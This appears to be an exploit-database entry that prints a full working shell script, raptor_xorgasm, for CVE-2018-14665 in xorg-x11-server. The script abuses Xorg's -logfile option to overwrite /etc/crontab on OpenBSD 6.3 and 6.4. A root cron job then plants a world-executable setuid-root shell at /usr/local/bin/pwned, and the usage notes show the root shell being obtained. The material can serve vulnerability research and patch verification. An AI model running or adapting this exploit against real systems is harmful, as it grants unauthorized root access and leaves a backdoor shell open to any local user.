xorg-x11-server 1.20.3 Privilege Escalation

`# Exploit Title: xorg-x11-server 1.20.3 - Privilege Escalation  
# Date: 2018-10-27  
# Exploit Author: Marco Ivaldi  
# Vendor Homepage: https://www.x.org/  
# Version: xorg-x11-server 1.19.0 - 1.20.2  
# Tested on: OpenBSD 6.3 and 6.4  
# CVE : CVE-2018-14665  
  
# raptor_xorgasm  
  
#!/bin/sh  
  
#  
# raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron  
# Copyright (c) 2018 Marco Ivaldi <[email protected]>  
#  
# A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission   
# check for -modulepath and -logfile options when starting Xorg. X server   
# allows unprivileged users with the ability to log in to the system via   
# physical console to escalate their privileges and run arbitrary code under   
# root privileges (CVE-2018-14665).  
#  
# This exploit targets OpenBSD's cron in order to escalate privileges to  
# root on OpenBSD 6.3 and 6.4. You don't need to be connected to a physical  
# console, it works perfectly on pseudo-terminals connected via SSH as well.  
#  
# See also:  
# https://lists.x.org/archives/xorg-announce/2018-October/002927.html  
# https://www.exploit-db.com/exploits/45697/  
# https://gist.github.com/0x27/d8aae5de44ed385ff2a3d80196907850  
#  
# Usage:  
# blobfish$ chmod +x raptor_xorgasm  
# blobfish$ ./raptor_xorgasm  
# [...]  
# Be patient for a couple of minutes...  
# [...]  
# Don't forget to cleanup and run crontab -e to reload the crontab.  
# -rw-r--r-- 1 root wheel 47327 Oct 27 14:48 /etc/crontab  
# -rwsrwxrwx 1 root wheel 7417 Oct 27 14:50 /usr/local/bin/pwned  
# blobfish# id  
# uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel)  
#  
# Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2):  
# OpenBSD 6.4 (Xorg 1.19.6) [tested]  
# OpenBSD 6.3 (Xorg 1.19.6) [tested]  
#  
  
echo "raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron"  
echo "Copyright (c) 2018 Marco Ivaldi <[email protected]>"  
  
# prepare the payload  
cat << EOF > /tmp/xorgasm  
cp /bin/sh /usr/local/bin/pwned # fallback in case gcc is not available  
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > /tmp/pwned.c  
gcc /tmp/pwned.c -o /usr/local/bin/pwned # most dirs are mounted nosuid  
chmod 4777 /usr/local/bin/pwned  
EOF  
chmod +x /tmp/xorgasm  
  
# trigger the bug  
cd /etc  
Xorg -fp "* * * * * root /tmp/xorgasm" -logfile crontab :1 &  
sleep 5  
pkill Xorg  
  
# run the setuid shell  
echo  
echo "Be patient for a couple of minutes..."  
echo  
sleep 120  
echo  
echo "Don't forget to cleanup and run crontab -e to reload the crontab."  
ls -l /etc/crontab*  
ls -l /usr/local/bin/pwned  
/usr/local/bin/pwned  
  
  
`